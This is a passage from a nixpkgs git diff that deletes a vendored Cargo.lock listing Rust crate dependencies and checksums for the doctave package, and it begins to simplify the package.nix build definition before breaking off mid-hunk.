- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "iovec"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "itoa"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc6f3ad7b9d11a0c00842ff8de1b60ee58661048eb8049ed33c73594f359d7e6"
-
-[[package]]
-name = "kernel32-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "lazycell"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-
-[[package]]
-name = "libc"
-version = "0.2.112"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b03d17f364a3a042d5e5d46b053bbbf82c92c9430c592dd4c064dc6ee997125"
-
-[[package]]
-name = "linked-hash-map"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8dd5a6d5999d9907cda8ed67bbd137d3af8085216c2ac62de5be860bd41f304a"
-
-[[package]]
-name = "lock_api"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712a4d093c9976e24e7dbca41db895dabcbac38eb5f4045393d17a95bdfb1109"
-dependencies = [
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fabed175da42fed1fa0746b0ea71f412aa9d35e76e95e59b192c64b9dc2bf8b"
-dependencies = [
- "cfg-if 0.1.10",
-]
-
-[[package]]
-name = "mac"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4"
-
-[[package]]
-name = "maplit"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e2e65a1a2e43cfcb47a895c4c8b10d1f4a61097f9f254f183aee60cad9c651d"
-
-[[package]]
-name = "markup5ever"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a24f40fb03852d1cdd84330cddcaf98e9ec08a7b7768e952fad3b4cf048ec8fd"
-dependencies = [
- "log",
- "phf",
- "phf_codegen",
- "string_cache",
- "string_cache_codegen",
- "tendril",
-]
-
-[[package]]
-name = "markup5ever_rcdom"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f015da43bcd8d4f144559a3423f4591d69b8ce0652c905374da7205df336ae2b"
-dependencies = [
- "html5ever",
- "markup5ever",
- "tendril",
- "xml5ever",
-]
-
-[[package]]
-name = "matches"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ffc5c5338469d4d3ea17d269fa8ea3512ad247247c30bd2df69e68309ed0a08"
-
-[[package]]
-name = "maybe-uninit"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
-
-[[package]]
-name = "memchr"
-version = "2.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3728d817d99e5ac407411fa471ff9800a778d88a24685968b36824eaf4bee400"
-
-[[package]]
-name = "memoffset"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "043175f069eda7b85febe4a74abbaeff828d9f8b448515d3151a14a3542811aa"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "mio"
-version = "0.6.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fce347092656428bc8eaf6201042cb551b8d67855af7374542a92a0fbfcac430"
-dependencies = [
- "cfg-if 0.1.10",
- "fuchsia-zircon",
- "fuchsia-zircon-sys",
- "iovec",
- "kernel32-sys",
- "libc",
- "log",
- "miow",
- "net2",
- "slab",
- "winapi 0.2.8",
-]
-
-[[package]]
-name = "mio-extras"
-version = "2.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52403fe290012ce777c4626790c8951324a2b9e3316b3143779c72b029742f19"
-dependencies = [
- "lazycell",
- "log",
- "mio",
- "slab",
-]
-
-[[package]]
-name = "miow"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8c1f2f3b1cf331de6896aabf6e9d55dca90356cc9960cca7eaaf408a355ae919"
-dependencies = [
- "kernel32-sys",
- "net2",
- "winapi 0.2.8",
- "ws2_32-sys",
-]
-
-[[package]]
-name = "net2"
-version = "0.2.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ebc3ec692ed7c9a255596c67808dee269f64655d8baf7b4f0638e51ba1d6853"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "new_debug_unreachable"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54"
-
-[[package]]
-name = "notify"
-version = "4.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80ae4a7688d1fab81c5bf19c64fc8db920be8d519ce6336ed4e7efe024724dbd"
-dependencies = [
- "bitflags",
- "filetime",
- "fsevent",
- "fsevent-sys",
- "inotify",
- "libc",
- "mio",
- "mio-extras",
- "walkdir",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.43"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d59457e662d541ba17869cf51cf177c0b5f0cbf476c66bdc90bf1edac4f875b"
-dependencies = [
- "autocfg",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac267bcc07f48ee5f8935ab0d24f316fb722d7a1292e2913f0cc196b29ffd611"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "opaque-debug"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c"
-
-[[package]]
-name = "opaque-debug"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
-
-[[package]]
-name = "parking_lot"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99"
-dependencies = [
- "instant",
- "lock_api",
- "parking_lot_core 0.8.5",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d58c7c768d4ba344e3e8d72518ac13e259d7c7ade24167003b8488e10b6740a3"
-dependencies = [
- "cfg-if 0.1.10",
- "cloudabi",
- "libc",
- "redox_syscall 0.1.57",
- "smallvec",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216"
-dependencies = [
- "cfg-if 1.0.0",
- "instant",
- "libc",
- "redox_syscall 0.2.10",
- "smallvec",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "percent-encoding"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31010dd2e1ac33d5b46a5b413495239882813e0369f8ed8a5e266f173602f831"
-
-[[package]]
-name = "percent-encoding"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
-
-[[package]]
-name = "pest"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10f4872ae94d7b90ae48754df22fd42ad52ce740b8f370b03da4835417403e53"
-dependencies = [
- "ucd-trie",
-]
-
-[[package]]
-name = "pest_derive"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "833d1ae558dc601e9a60366421196a8d94bc0ac980476d0b67e1d0988d72b2d0"
-dependencies = [
- "pest",
- "pest_generator",
-]
-
-[[package]]
-name = "pest_generator"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99b8db626e31e5b81787b9783425769681b347011cc59471e33ea46d2ea0cf55"
-dependencies = [
- "pest",
- "pest_meta",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "pest_meta"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "54be6e404f5317079812fc8f9f5279de376d8856929e21c184ecf6bbd692a11d"
-dependencies = [
- "maplit",
- "pest",
- "sha-1 0.8.2",
-]
-
-[[package]]
-name = "phf"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12"
-dependencies = [
- "phf_shared",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815"
-dependencies = [
- "phf_generator",
- "phf_shared",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526"
-dependencies = [
- "phf_shared",
- "rand",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c36fa947111f5c62a733b652544dd0016a43ce89619538a8ef92724a6f501a20"
-
-[[package]]
-name = "precomputed-hash"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c"
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "175c513d55719db99da20232b06cda8bab6b83ec2d04e3283edf0213c37c1a29"
-dependencies = [
- "unicode-xid",
-]
-
-[[package]]
-name = "pulldown-cmark"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffade02495f22453cd593159ea2f59827aae7f53fa8323f756799b670881dcf8"
-dependencies = [
- "bitflags",
- "memchr",
- "unicase",
-]
-
-[[package]]
-name = "quick-error"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ac73b1112776fc109b2e61909bc46c7e1bf0d7f690ffb1676553acce16d5cda"
-
-[[package]]
-name = "quote"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa563d17ecb180e500da1cfd2b028310ac758de548efdd203e18f283af693f37"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "rand"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
-dependencies = [
- "getrandom",
- "libc",
- "rand_chacha",
- "rand_core",
- "rand_hc",
- "rand_pcg",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
-dependencies = [
- "ppv-lite86",
- "rand_core",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-dependencies = [
- "getrandom",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-dependencies = [
- "rand_core",
-]
-
-[[package]]
-name = "rand_pcg"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429"
-dependencies = [
- "rand_core",
-]
-
-[[package]]
-name = "rayon"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cfd016f0c045ad38b5251be2c9c0ab806917f82da4d36b2a327e5166adad9270"
-dependencies = [
- "autocfg",
- "crossbeam-deque",
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8c4fec834fb6e6d2dd5eece3c7b432a52f0ba887cf40e595190c4107edc08bf"
-dependencies = [
- "crossbeam-channel",
- "crossbeam-deque",
- "crossbeam-utils",
- "lazy_static",
- "num_cpus",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.1.57"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
-
-[[package]]
-name = "redox_syscall"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff"
-dependencies = [
- "bitflags",
-]
-
-[[package]]
-name = "regex"
-version = "1.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c3780fcf44b193bc4d09f36d2a3c87b251da4a046c87795a0d35f4f927ad8e6"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
- "thread_local",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26412eb97c6b088a6997e05f69403a802a92d520de2f8e63c2b65f9e0f47c4e8"
-
-[[package]]
-name = "ryu"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "71d301d4193d031abdd79ff7e3dd721168a9572ef3fe51a1517aba235bd8f86e"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "scoped_threadpool"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d51f5df5af43ab3f1360b429fa5e0152ac5ce8c0bd6485cae490332e96846a8"
-
-[[package]]
-name = "scopeguard"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-
-[[package]]
-name = "serde"
-version = "1.0.115"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e54c9a88f2da7238af84b5101443f0c0d0a3bbdc455e34a5c9497b1903ed55d5"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.115"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "609feed1d0a73cc36a0182a840a9b37b4a82f0b1150369f0536a9e3f2a31dc48"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.57"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "164eacbdb13512ec2745fb09d51fd5b22b0d65ed294a1dcf7285a360c80a675c"
-dependencies = [
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_yaml"
-version = "0.8.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae3e2dd40a7cdc18ca80db804b7f461a39bb721160a85c9a1fa30134bf3c02a5"
-dependencies = [
- "dtoa",
- "linked-hash-map",
- "serde",
- "yaml-rust",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7d94d0bede923b3cea61f3f1ff57ff8cdfd77b400fb8f9998949e0cf04163df"
-dependencies = [
- "block-buffer 0.7.3",
- "digest 0.8.1",
- "fake-simd",
- "opaque-debug 0.2.3",
-]
-
-[[package]]
-name = "sha-1"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "170a36ea86c864a3f16dd2687712dd6646f7019f301e57537c7f4dc9f5916770"
-dependencies = [
- "block-buffer 0.9.0",
- "cfg-if 0.1.10",
- "cpuid-bool",
- "digest 0.9.0",
- "opaque-debug 0.3.0",
-]
-
-[[package]]
-name = "siphasher"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "533494a8f9b724d33625ab53c6c4800f7cc445895924a8ef649222dcb76e938b"
-
-[[package]]
-name = "slab"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c111b5bd5695e56cffe5129854aa230b39c93a305372fdbb2668ca2394eea9f8"
-
-[[package]]
-name = "smallvec"
-version = "1.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ecab6c735a6bb4139c0caafd0cc3635748bbb3acf4550e8138122099251f309"
-
-[[package]]
-name = "string_cache"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "923f0f39b6267d37d23ce71ae7235602134b250ace715dd2c90421998ddac0c6"
-dependencies = [
- "lazy_static",
- "new_debug_unreachable",
- "parking_lot",
- "phf_shared",
- "precomputed-hash",
- "serde",
-]
-
-[[package]]
-name = "string_cache_codegen"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f24c8e5e19d22a726626f1a5e16fe15b132dcf21d10177fa5a45ce7962996b97"
-dependencies = [
- "phf_generator",
- "phf_shared",
- "proc-macro2",
- "quote",
-]
-
-[[package]]
-name = "strsim"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
-
-[[package]]
-name = "strsim"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
-
-[[package]]
-name = "strum"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57bd81eb48f4c437cadc685403cad539345bf703d78e63707418431cecd4522b"
-
-[[package]]
-name = "strum_macros"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87c85aa3f8ea653bfd3ddf25f7ee357ee4d204731f6aa9ad04002306f6e2774c"
-dependencies = [
- "heck",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "syn"
-version = "1.0.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "963f7d3cc59b59b9325165add223142bbf1df27655d07789f109896d353d8350"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-xid",
-]
-
-[[package]]
-name = "tendril"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9ef557cb397a4f0a5a3a628f06515f78563f2209e64d47055d9dc6052bf5e33"
-dependencies = [
- "futf",
- "mac",
- "utf-8",
-]
-
-[[package]]
-name = "termcolor"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb6bfa289a4d7c5766392812c0a1f4c1ba45afa1ad47803c11e1f407d846d75f"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "textwrap"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
-dependencies = [
- "unicode-width",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d40c6d1b69745a6ec6fb1ca717914848da4b44ae29d9b3080cbee91d72a69b14"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "time"
-version = "0.1.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
-dependencies = [
- "libc",
- "wasi 0.10.0+wasi-snapshot-preview1",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tiny_http"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1661fa0a44c95d01604bd05c66732a446c657efb62b5164a7a083a3b552b4951"
-dependencies = [
- "ascii",
- "chrono",
- "chunked_transfer",
- "log",
- "url 1.7.2",
-]
-
-[[package]]
-name = "tinyvec"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "238ce071d267c5710f9d31451efec16c5ee22de34df17cc05e56cbc92e967117"
-
-[[package]]
-name = "tungstenite"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f0308d80d86700c5878b9ef6321f020f29b1bb9d5ff3cab25e75e23f3a492a23"
-dependencies = [
- "base64",
- "byteorder",
- "bytes",
- "http",
- "httparse",
- "input_buffer",
- "log",
- "rand",
- "sha-1 0.9.1",
- "url 2.2.2",
- "utf-8",
-]
-
-[[package]]
-name = "typenum"
-version = "1.12.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "373c8a200f9e67a0c95e62a4f52fbf80c23b4381c05a17845531982fa99e6b33"
-
-[[package]]
-name = "ucd-trie"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56dee185309b50d1f11bfedef0fe6d036842e3fb77413abef29f8f8d1c5d4c1c"
-
-[[package]]
-name = "unicase"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6"
-dependencies = [
- "version_check",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49f2bd0c6468a8230e1db229cff8029217cf623c767ea5d60bfbd42729ea54d5"
-dependencies = [
- "matches",
-]
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fb19cf769fa8c6a80a162df694621ebeb4dafb606470b2b2fce0be40a98a977"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e83e153d1053cbb5a118eeff7fd5be06ed99153f00dbcd8ae310c5fb2b22edc0"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3"
-
-[[package]]
-name = "unicode-xid"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7fe0bb3479651439c9112f72b6c505038574c9fbb575ed1bf3b797fa39dd564"
-
-[[package]]
-name = "unindent"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af41d708427f8fd0e915dcebb2cae0f0e6acb2a939b2d399c265c39a38a18942"
-
-[[package]]
-name = "url"
-version = "1.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd4e7c0d531266369519a4aa4f399d748bd37043b00bde1e4ff1f60a120b355a"
-dependencies = [
- "idna 0.1.5",
- "matches",
- "percent-encoding 1.0.1",
-]
-
-[[package]]
-name = "url"
-version = "2.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c"
-dependencies = [
- "form_urlencoded",
- "idna 0.2.0",
- "matches",
- "percent-encoding 2.1.0",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05e42f7c18b8f902290b009cde6d651262f956c98bc51bca4cd1d511c9cd85c7"
-
-[[package]]
-name = "vec_map"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
-
-[[package]]
-name = "version_check"
-version = "0.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5a972e5669d67ba988ce3dc826706fb0a8b01471c088cb0b6110b805cc36aed"
-
-[[package]]
-name = "walkdir"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "777182bc735b6424e1a57516d35ed72cb8019d85c8c9bf536dccb3445c1a2f7d"
-dependencies = [
- "same-file",
- "winapi 0.3.9",
- "winapi-util",
-]
-
-[[package]]
-name = "wasi"
-version = "0.9.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
-
-[[package]]
-name = "wasi"
-version = "0.10.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
-
-[[package]]
-name = "winapi"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-build"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "ws2_32-sys"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "xml5ever"
-version = "0.16.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9234163818fd8e2418fcde330655e757900d4236acd8cc70fef345ef91f6d865"
-dependencies = [
- "log",
- "mac",
- "markup5ever",
- "time",
-]
-
-[[package]]
-name = "yaml-rust"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "39f0c922f1a334134dc2f7a8b67dc5d25f0735263feec974345ff706bcf20b0d"
-dependencies = [
- "linked-hash-map",
-]
diff --git a/pkgs/by-name/do/doctave/package.nix b/pkgs/by-name/do/doctave/package.nix
index d1cd037a130b..ade139871dd2 100644
--- a/pkgs/by-name/do/doctave/package.nix
+++ b/pkgs/by-name/do/doctave/package.nix
@@ -15,16 +15,8 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8mGSFQozyLoGua9mwyqfDcYNMtbeWp9Phb0vaje+AJ0=";
   };
 
-  postPatch = ''
-    ln -sf ${./Cargo.lock} Cargo.lock
-  '';
-
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
